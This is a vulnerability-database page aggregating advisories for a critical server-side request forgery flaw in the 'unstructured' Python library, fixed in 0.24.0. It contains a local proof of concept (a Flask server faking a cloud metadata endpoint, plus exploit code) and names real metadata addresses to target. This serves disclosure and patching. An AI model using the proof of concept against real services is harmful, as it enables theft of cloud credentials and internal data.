Vulnerability-Lookup

CVE-2026-71428 (GCVE-0-2026-71428)

Vulnerability from cvelistv5 – Published: 2026-08-20 16:43 – Updated: 2026-08-25 15:05

Title

unstructured: Server-Side Request Forgery in the URL-based partitioning

Summary

The unstructured library provides open-source components for ingesting and pre-processing images and text documents, such as PDFs, HTML, Word docs, and many more. From 0.4.7 until 0.24.0, the url argument of partition, partition_html, and partition_md is fetched without host validation in unstructured/partition/auto.py, unstructured/partition/html/partition.py, and unstructured/partition/md.py. An attacker who controls that URL can make a server-side ingestion service request loopback addresses, internal HTTP services, or cloud metadata endpoints through direct targets, redirects, or DNS rebinding. The response body is returned as Element text, allowing internal response disclosure, and side-effecting GET endpoints may also be triggered. This issue is fixed in version 0.24.0.

Severity

9.3 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 15:05 UTC

CWE

CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7631 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/Unstructured-IO/unstructured/s…	x_refsource_CONFIRM
https://github.com/Unstructured-IO/unstructured/p…	x_refsource_MISC
https://github.com/Unstructured-IO/unstructured/c…	x_refsource_MISC
https://github.com/Unstructured-IO/unstructured/r…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Unstructured-IO	unstructured	Affected: >= 0.4.7, < 0.24.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-71428

Vulnerability from fkie_nvd - Published: 2026-08-20 17:19 - Updated: 2026-10-18 20:10

Severity

9.3 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Unstructured-IO/unstructured/commit/445c95735c4045057f51f399bc04c657751923bd
	security-advisories@github.com	https://github.com/Unstructured-IO/unstructured/pull/4388
	security-advisories@github.com	https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.0
	security-advisories@github.com	https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-4mvj-m6j5-pmf7

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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GHSA-4MVJ-M6J5-PMF7

Vulnerability from github – Published: 2026-09-03 17:02 – Updated: 2026-09-03 17:02

Summary

unstructured: Server-Side Request Forgery in the URL-based partitioning

Details

Summary

Server-Side Request Forgery in unstructured. The url= argument of partition(), partition_html(), and partition_md() is fetched via requests.get() with no host validation. The response body is returned as Element text, so this is a full-read SSRF — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response.

unstructured is the de facto URL ingestion layer for LangChain UnstructuredURLLoader, LlamaIndex UnstructuredReader, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.

Details

Three sinks, all in unstructured == 0.22.26 (verified on main at 199f255):

unstructured/partition/auto.py:303 — file_and_type_from_url(), reached via partition(url=…).
unstructured/partition/html/partition.py:160 — partition_html(url=…). Post-fetch Content-Type check runs after the request hits the target.
unstructured/partition/md.py:96 — partition_md(url=…). No timeout (SSRF + slow-loris DoS).

None of is_private, is_loopback, ipaddress, gethostbyname, or allow_redirects appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (allow_redirects=True default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since 0.4.7 (Feb 2023) — ~219 releases, no validation ever introduced.

PoC

Local-only. pip install unstructured==0.22.26 flask requests.

internal_server.py:

from flask import Flask, Response, jsonify
app = Flask(__name__)

@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})

@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")

@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})

if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)

exploit.py — uses the public top-level API:

# Stub NLP helpers so the offline sandbox skips spaCy model download.
# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, "NN") for w in (t or "").split()]

from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"

# A: partition(url=...) leaks internal HTML body
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))
# B: redirect bypass reaches simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))
print("PoC OK")

In production the attacker substitutes 169.254.169.254, metadata.google.internal, or any internal address.

Impact

Attacker capabilities:

Internal HTTP service read — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.
Cloud instance metadata access — reads metadata services that respond to unauthenticated GETs: GCP (metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a PUT for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.
Side-effecting GET endpoints — magic-link consumers, job triggers, link-preview generators reachable on internal networks.
Internal network reconnaissance — connection success/failure timing and error messages serve as a port and service scanner.

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "unstructured"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.7"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T17:02:46Z",
    "nvd_published_at": "2026-08-20T17:19:40Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nServer-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** \u2014 attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. \n\n`unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks \u2014 secure defaults must live in the library, not in every downstream caller.\n\n### Details\n\nThree sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`):\n\n- `unstructured/partition/auto.py:303` \u2014 `file_and_type_from_url()`, reached via `partition(url=\u2026)`.\n- `unstructured/partition/html/partition.py:160` \u2014 `partition_html(url=\u2026)`. Post-fetch `Content-Type` check runs after the request hits the target.\n- `unstructured/partition/md.py:96` \u2014 `partition_md(url=\u2026)`. No timeout (SSRF + slow-loris DoS).\n\nNone of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) \u2014 ~219 releases, no validation ever introduced.\n\n### PoC\n\nLocal-only. `pip install unstructured==0.22.26 flask requests`.\n\n`internal_server.py`:\n\n```python\nfrom flask import Flask, Response, jsonify\napp = Flask(__name__)\n\n@app.route(\"/imds\")\ndef imds(): return jsonify({\"AccessKeyId\": \"ASIA-FAKE\", \"SecretAccessKey\": \"FAKE/SECRET\"})\n\n@app.route(\"/internal.html\")\ndef html(): return Response(\"\u003chtml\u003e\u003cbody\u003e\u003cp\u003eSK_LEAK_42\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\", mimetype=\"text/html\")\n\n@app.route(\"/redir\")\ndef redir(): return Response(\"\", 302, headers={\"Location\": \"http://127.0.0.1:9999/imds\"})\n\nif __name__ == \"__main__\": app.run(host=\"127.0.0.1\", port=9999)\n```\n\n`exploit.py` \u2014 uses the public top-level API:\n\n```python\n# Stub NLP helpers so the offline sandbox skips spaCy model download.\n# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).\nimport unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt\n_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or \"\").split(\". \") if s]\n_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or \"\").split()\n_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, \"NN\") for w in (t or \"\").split()]\n\nfrom unstructured.partition.auto import partition\nL = \"http://127.0.0.1:9999\"\n\n# A: partition(url=...) leaks internal HTML body\nassert \"SK_LEAK_42\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/internal.html\", languages=[\"eng\"]))\n# B: redirect bypass reaches simulated IMDS\nassert \"SecretAccessKey\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/redir\", languages=[\"eng\"]))\nprint(\"PoC OK\")\n```\n\nIn production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address.\n\n### Impact\n\nAttacker capabilities:\n\n- **Internal HTTP service read** \u2014 loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.\n- **Cloud instance metadata access** \u2014 reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.\n- **Side-effecting GET endpoints** \u2014 magic-link consumers, job triggers, link-preview generators reachable on internal networks.\n- **Internal network reconnaissance** \u2014 connection success/failure timing and error messages serve as a port and service scanner.",
  "id": "GHSA-4mvj-m6j5-pmf7",
  "modified": "2026-09-03T17:02:47Z",
  "published": "2026-09-03T17:02:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-4mvj-m6j5-pmf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71428"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/pull/4388"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/commit/445c95735c4045057f51f399bc04c657751923bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Unstructured-IO/unstructured"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "unstructured: Server-Side Request Forgery in the URL-based partitioning"
}

PYSEC-2026-3930

Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02

Details

Summary

Details

Three sinks, all in unstructured == 0.22.26 (verified on main at 199f255):

unstructured/partition/auto.py:303 — file_and_type_from_url(), reached via partition(url=…).
unstructured/partition/html/partition.py:160 — partition_html(url=…). Post-fetch Content-Type check runs after the request hits the target.
unstructured/partition/md.py:96 — partition_md(url=…). No timeout (SSRF + slow-loris DoS).

PoC

Local-only. pip install unstructured==0.22.26 flask requests.

internal_server.py:

from flask import Flask, Response, jsonify
app = Flask(__name__)

@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})

@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")

@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})

if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)

exploit.py — uses the public top-level API:

# Stub NLP helpers so the offline sandbox skips spaCy model download.
# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, "NN") for w in (t or "").split()]

from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"

# A: partition(url=...) leaks internal HTML body
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))
# B: redirect bypass reaches simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))
print("PoC OK")

In production the attacker substitutes 169.254.169.254, metadata.google.internal, or any internal address.

Impact

Attacker capabilities:

Internal HTTP service read — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.
Cloud instance metadata access — reads metadata services that respond to unauthenticated GETs: GCP (metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a PUT for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.
Side-effecting GET endpoints — magic-link consumers, job triggers, link-preview generators reachable on internal networks.
Internal network reconnaissance — connection success/failure timing and error messages serve as a port and service scanner.

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Impacted products

Name	purl
unstructured	pkg:pypi/unstructured

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "unstructured",
        "purl": "pkg:pypi/unstructured"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.7"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.10.0",
        "0.10.1",
        "0.10.10",
        "0.10.11",
        "0.10.12",
        "0.10.13",
        "0.10.14",
        "0.10.15",
        "0.10.16",
        "0.10.18",
        "0.10.19",
        "0.10.19.dev18",
        "0.10.2",
        "0.10.20",
        "0.10.21",
        "0.10.22",
        "0.10.23",
        "0.10.24",
        "0.10.25",
        "0.10.26",
        "0.10.27",
        "0.10.28",
        "0.10.29",
        "0.10.30",
        "0.10.4",
        "0.10.5",
        "0.10.6",
        "0.10.7",
        "0.10.8",
        "0.10.9",
        "0.11.0",
        "0.11.1",
        "0.11.2",
        "0.11.4",
        "0.11.5",
        "0.11.6",
        "0.11.7",
        "0.11.8",
        "0.12.0",
        "0.12.2",
        "0.12.3",
        "0.12.4",
        "0.12.5",
        "0.12.6",
        "0.13.0",
        "0.13.1",
        "0.13.2",
        "0.13.3",
        "0.13.4",
        "0.13.5",
        "0.13.6",
        "0.13.7",
        "0.14.0",
        "0.14.10",
        "0.14.2",
        "0.14.2.dev1",
        "0.14.3",
        "0.14.4",
        "0.14.5",
        "0.14.6",
        "0.14.7",
        "0.14.8",
        "0.14.9",
        "0.15.0",
        "0.15.1",
        "0.15.10",
        "0.15.12",
        "0.15.13",
        "0.15.14",
        "0.15.3",
        "0.15.5",
        "0.15.6",
        "0.15.7",
        "0.15.8",
        "0.15.9",
        "0.16.0",
        "0.16.1",
        "0.16.10",
        "0.16.11",
        "0.16.12",
        "0.16.13",
        "0.16.14",
        "0.16.15",
        "0.16.16",
        "0.16.17",
        "0.16.19",
        "0.16.2",
        "0.16.20",
        "0.16.21",
        "0.16.22",
        "0.16.23",
        "0.16.24",
        "0.16.25",
        "0.16.3",
        "0.16.4",
        "0.16.5",
        "0.16.6",
        "0.16.7",
        "0.16.8",
        "0.16.9",
        "0.17.0",
        "0.17.2",
        "0.18.1",
        "0.18.11",
        "0.18.13",
        "0.18.14",
        "0.18.15",
        "0.18.18",
        "0.18.2",
        "0.18.20",
        "0.18.21",
        "0.18.24",
        "0.18.26",
        "0.18.27",
        "0.18.3",
        "0.18.31",
        "0.18.32",
        "0.18.5",
        "0.18.6",
        "0.18.7",
        "0.18.9",
        "0.20.2",
        "0.20.6",
        "0.20.8",
        "0.21.0",
        "0.21.1",
        "0.21.2",
        "0.21.5",
        "0.22.10",
        "0.22.12",
        "0.22.16",
        "0.22.18",
        "0.22.20",
        "0.22.21",
        "0.22.22",
        "0.22.23",
        "0.22.26",
        "0.22.27",
        "0.22.28",
        "0.22.29",
        "0.22.30",
        "0.22.31",
        "0.22.32",
        "0.22.6",
        "0.23.0",
        "0.23.1",
        "0.4.10",
        "0.4.11",
        "0.4.12",
        "0.4.13",
        "0.4.14",
        "0.4.15",
        "0.4.16",
        "0.4.7",
        "0.4.8",
        "0.4.9",
        "0.5.0",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.10",
        "0.6.11",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.6.7",
        "0.6.8",
        "0.6.9",
        "0.7.0",
        "0.7.1",
        "0.7.10",
        "0.7.11",
        "0.7.12",
        "0.7.2",
        "0.7.3",
        "0.7.4",
        "0.7.5",
        "0.7.6",
        "0.7.7",
        "0.7.8",
        "0.7.9",
        "0.8.0",
        "0.8.1",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.6",
        "0.8.7",
        "0.8.8",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.9.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71428",
    "GHSA-4mvj-m6j5-pmf7"
  ],
  "details": "### Summary\n\nServer-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** \u2014 attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. \n\n`unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks \u2014 secure defaults must live in the library, not in every downstream caller.\n\n### Details\n\nThree sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`):\n\n- `unstructured/partition/auto.py:303` \u2014 `file_and_type_from_url()`, reached via `partition(url=\u2026)`.\n- `unstructured/partition/html/partition.py:160` \u2014 `partition_html(url=\u2026)`. Post-fetch `Content-Type` check runs after the request hits the target.\n- `unstructured/partition/md.py:96` \u2014 `partition_md(url=\u2026)`. No timeout (SSRF + slow-loris DoS).\n\nNone of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) \u2014 ~219 releases, no validation ever introduced.\n\n### PoC\n\nLocal-only. `pip install unstructured==0.22.26 flask requests`.\n\n`internal_server.py`:\n\n```python\nfrom flask import Flask, Response, jsonify\napp = Flask(__name__)\n\n@app.route(\"/imds\")\ndef imds(): return jsonify({\"AccessKeyId\": \"ASIA-FAKE\", \"SecretAccessKey\": \"FAKE/SECRET\"})\n\n@app.route(\"/internal.html\")\ndef html(): return Response(\"\u003chtml\u003e\u003cbody\u003e\u003cp\u003eSK_LEAK_42\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\", mimetype=\"text/html\")\n\n@app.route(\"/redir\")\ndef redir(): return Response(\"\", 302, headers={\"Location\": \"http://127.0.0.1:9999/imds\"})\n\nif __name__ == \"__main__\": app.run(host=\"127.0.0.1\", port=9999)\n```\n\n`exploit.py` \u2014 uses the public top-level API:\n\n```python\n# Stub NLP helpers so the offline sandbox skips spaCy model download.\n# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).\nimport unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt\n_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or \"\").split(\". \") if s]\n_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or \"\").split()\n_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, \"NN\") for w in (t or \"\").split()]\n\nfrom unstructured.partition.auto import partition\nL = \"http://127.0.0.1:9999\"\n\n# A: partition(url=...) leaks internal HTML body\nassert \"SK_LEAK_42\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/internal.html\", languages=[\"eng\"]))\n# B: redirect bypass reaches simulated IMDS\nassert \"SecretAccessKey\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/redir\", languages=[\"eng\"]))\nprint(\"PoC OK\")\n```\n\nIn production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address.\n\n### Impact\n\nAttacker capabilities:\n\n- **Internal HTTP service read** \u2014 loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.\n- **Cloud instance metadata access** \u2014 reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.\n- **Side-effecting GET endpoints** \u2014 magic-link consumers, job triggers, link-preview generators reachable on internal networks.\n- **Internal network reconnaissance** \u2014 connection success/failure timing and error messages serve as a port and service scanner.",
  "id": "PYSEC-2026-3930",
  "modified": "2026-09-10T11:02:34.856401Z",
  "published": "2026-09-10T09:44:59.847766Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-4mvj-m6j5-pmf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71428"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/pull/4388"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/commit/445c95735c4045057f51f399bc04c657751923bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Unstructured-IO/unstructured"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/unstructured"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4mvj-m6j5-pmf7"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "unstructured: Server-Side Request Forgery in the URL-based partitioning"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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CVE-2026-71428 (GCVE-0-2026-71428)

FKIE_CVE-2026-71428

GHSA-4MVJ-M6J5-PMF7

Summary

Details

PoC

Impact

PYSEC-2026-3930

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour